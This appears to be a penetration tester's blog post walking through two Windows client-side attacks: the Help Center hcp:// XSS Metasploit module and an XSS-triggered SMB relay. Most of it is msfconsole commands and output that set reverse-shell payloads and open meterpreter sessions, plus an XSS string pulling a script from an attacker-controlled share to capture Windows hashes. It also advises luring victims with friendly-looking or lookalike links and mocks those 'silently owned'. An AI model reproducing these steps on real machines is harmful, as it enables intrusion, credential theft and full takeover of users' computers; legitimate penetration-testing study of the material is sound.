Windows XP Help Center Client Side Attack

I Just saw this exploit in full disclosure and ExploitDB:

http://seclists.org/fulldisclosure/2010/Jun/205
http://www.exploit-db.com/exploits/13808/

Then I checked in metasploit and the exploit is already available.

If you are on an internal or client side test penetration test I generally see most clients running windows XP  and generally outdated browsers. They are either using IE6 or IE7 or IE8.... The essence of this attack is that an un-handled XSS is utilized in hcp://system/sysinfo/sysinfomain.htm?svr=, which can be directly accessed via a url in a browser. By using a defer in a XSS to execute a script in a privileged zone a windows popup is bypassed.

<script defer>code</script>

"due to insufficient escaping in GetServerName() from sysinfo/commonFunc.js, the page is vulnerable
to a DOM-type XSS. However, the escaping routine will abort encoding if characters such as '=' or '"' or others are specified. "


This exploit works on xp sp2 and sp3 which covers most clients in most companies. I do not see many companies running vista or windows7.... IE 6 and IE7  browsers are vulnerable to this attack however IE8 works but with a user popup box unless the victim is running certain versions of media player...  I also just tested this with a IE8 browser running in comparability mode...  When the client visited the page Automatically the exploit pulled up the help docs and gave me a meterpreter shell   wooooot

I am thinking this would be a good exploit to use in client side penetration tests... So below is the info and a quick usage of the exploit...


Module Name:
ms10_xxx_helpctr_xss_cmd_exec

Below is a description and then usage of the module... give it a try...

Description: (From Metasploit)
  "Help and Support Center is the default application provided to
  access online documentation for Microsoft Windows. Microsoft
  supports accessing help documents directly via URLs by installing a
  protocol handler for the scheme "hcp". Due to an error in validation
  of input to hcp:// combined with a local cross site scripting
  vulnerability and a specialized mechanism to launch the XSS trigger,
  arbitrary command execution can be achieved. On IE6 and IE7 on XP
  SP2 or SP3, code execution is automatic. On IE8, a dialog box pops,
  but if WMP9 is installed, WMP9 can be used for automatic execution.
  If IE8 and WMP11, a dialog box will ask the user if execution should
  continue. Automatic detection of these options is implemented in
  this module, and will default to not sending the exploit for
  IE8/WMP11 unless the option is overridden."

Simple Usage Example:
msf > use windows/browser/ms10_xxx_helpctr_xss_cmd_exec
msf exploit(ms10_xxx_helpctr_xss_cmd_exec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ms10_xxx_helpctr_xss_cmd_exec) > set LHOST 192.168.1.10
LHOST => 192.168.1.10
msf exploit(ms10_xxx_helpctr_xss_cmd_exec) > set LPORT 5555
LPORT => 5555
msf exploit(ms10_xxx_helpctr_xss_cmd_exec) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.10:5555
[*] Using URL: http://0.0.0.0:80/
[*]  Local IP: http://192.168.1.10:80/
[*] Server started.

Send Your Link to the Victim and wait: 

Now send the victim out a link to your IP address via email or chat. Generally i would have a registered URL that looks friendly and send them that URL in order to not look too suspicious.

msf exploit(ms10_xxx_helpctr_xss_cmd_exec) > [*] Request for "/" does not contain a sub-directory, redirecting to /c3hfRM5Kh/ ...
[*] Sending Microsoft Help Center XSS and Command Execution to 192.168.1.11:1295...
[*] Responding to request for exploit iframe at 192.168.1.11:1295...
[*] Request for "/" does not contain a sub-directory, redirecting to /ETnOhHE9EqYirlA/ ...
[*] Responding to WebDAV OPTIONS request from 192.168.1.11:1305
[*] Request for "/Vl" does not contain a sub-directory, redirecting to /Vl/ ...
[*] Received WebDAV PROPFIND request from 192.168.1.11:1305
[*] Sending directory multistatus for /Vl/ ...
[*] Received WebDAV PROPFIND request from 192.168.1.11:1305
[*] Sending EXE multistatus for /Vl/ly.exe ...
[*] Request for "/Vl" does not contain a sub-directory, redirecting to /Vl/ ...
[*] Received WebDAV PROPFIND request from 192.168.1.11:1305
[*] Sending directory multistatus for /Vl/ ...
[*] GET for payload received.
[*] Sending stage (748032 bytes) to 192.168.1.11
[*] Meterpreter session 1 opened (192.168.1.10:5555 -> 192.168.1.11:1306) at Fri Jun 11 18:10:38 -0400 2010


msf exploit(ms10_xxx_helpctr_xss_ cmd_exec) > sessions -l

Active sessions
===============

  Id  Type         Information                      Connection
  --  ----         -----------                      ----------
  1   meterpreter  EXPLOIT\Administrator @ EXPLOIT  192.168.1.10:5555 -> 192.168.1.11:1291

msf exploit(ms10_xxx_helpctr_xss_cmd_exec) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: EXPLOIT\Administrator


Final Notes:

There you have it... This module sets up a server and waits for your victim to make a connection, when the victim does make a connection their help window is opened and they are silently owned.... More then likely the victim will just think windows is acting up as it usually does or they accidentally clicked something  :) :)  Maybe you should be using freebsd or slackware instead?  You might still get owned but at least you will know its not the OS acting up hahahaha

Combining XSS and SMB-Relay

I found this to be an interesting way to make XSS useful in say an internal pentest on a local application, or perhaps on a client side test via emails to users you enumerated google hacking or through maltego.  You can simply use XSS to call a non existent share on a host running a listener and force a windows user issue their hashes to your listener and gain a shell.


Setting up SMB_Relay in Metasploit:
Open up a metasploit session:

root@ficti0n:~# /pentest/exploits/framework3/msfconsole

       =[ metasploit v3.3.4-dev [core:3.3 api:1.0]
+ -- --=[ 490 exploits - 225 auxiliary
+ -- --=[ 192 payloads - 23 encoders - 8 nops
       =[ svn r8091 updated 6 days ago (2010.01.09)

msf > use exploits/windows/smb/smb_relay
msf exploit(smb_relay) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(smb_relay) > set LHOST 172.20.200.118  <-- Whatever this metasploit server is
LHOST => 172.20.200.118
msf exploit(smb_relay) > exploit
[*] Exploit running as background job.
msf exploit(smb_relay) >
[*] Started reverse handler on port 4444
[*] Server started.


XSS your Client:
Once your listener is setup on your backtrack server running metasploit you can then run your cross-site-scripting attack against the Client. This attack can be accomplished with the following script string which tries to open a share on the attack server. Put the string below into any parameter that is vulnerable to cross site scripting, just change the IP address to the ipaddress of your server which is running the metasploit smb_relay listener.

<script language='Javascript' src="\\172.20.200.118\c$"></script>

When the XSS link is clicked you will see network hashes race across the output of the metasploit console.  Basically the client that is being XSS'd is sending over their windows credentials to try to open a network share. Metasploit at this point is passing the hashes back to the client and opening a meterpreter session gaining shell access. This is how its working as I understand the process.

[*] Authenticating to 172.20.200.125 as Ficti0n-1C10DB\Administrator...
[*] AUTHENTICATED as Ficti0n-1C10DB\Administrator...
[*] Ignoring request from 172.20.200.125, attack already in progress.
[*] Sending Access Denied to 172.20.200.125:1069 Ficti0n-1C10DB\Administrator
[*] Received 172.20.200.125:1071 \ LMHASH:00 NTHASH: OS:Windows Server 2003 3790 Service Pack 2 LM:
[*] Sending Access Denied to 172.20.200.125:1071 \
[*] Received 172.20.200.125:1071 Ficti0n-1C10DB\Administrator LMHASH:ff227wf24924844095c91577w265de85ebb20w9e9f146319 NTHASH:ff227df2492d844095c91577w265de85ebb20b9w4f178319 OS:Windows Server 2003 3790 Service Pack 2 LM:
[*] Authenticating to 172.20.200.125 as Ficti0n-1C10DB\Administrator...
[*] AUTHENTICATED as Ficti0n-1C10DB\Administrator...
[*] Ignoring request from 172.20.200.125, attack already in progress.
[*] Sending Access Denied to 172.20.200.125:1071 Ficti0n-1C10DB\Administrator

At this point you can click into the Metasploit window and issue the following commands to take control of the client machine.

msf exploit(smb_relay) > sessions -l

Active sessions
===============
Id  Description  Tunnel
1   Meterpreter  172.20.200.118:4444 -> 172.20.200.125:1047

msf exploit(smb_relay) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >  

You are now logged into the Clients machine as system and can perform any actions that you wish under the context of a System account. Create users, dump hashes, and use the system as a jump point into other systems on the local network. This is all pretty simple stuff but I thought it was pretty cool to just issue it from an XSS attack since I dont see good XSS examples to often. usually just how to grab a cookie. 

Combining this with CFS:
Other good ideas for this attack would be to embed this into a header of a site you control via a cross frame scripting attack. You can then encapsulate a whole valid page in an iframe and the user will never know unless they look at the url... however you can always just register a similar URL to trick a user while silently be passing their credentials... 


Prevention:
Of course egress filtering of outgoing ports will prevent this attack.. most people do not egress filter however.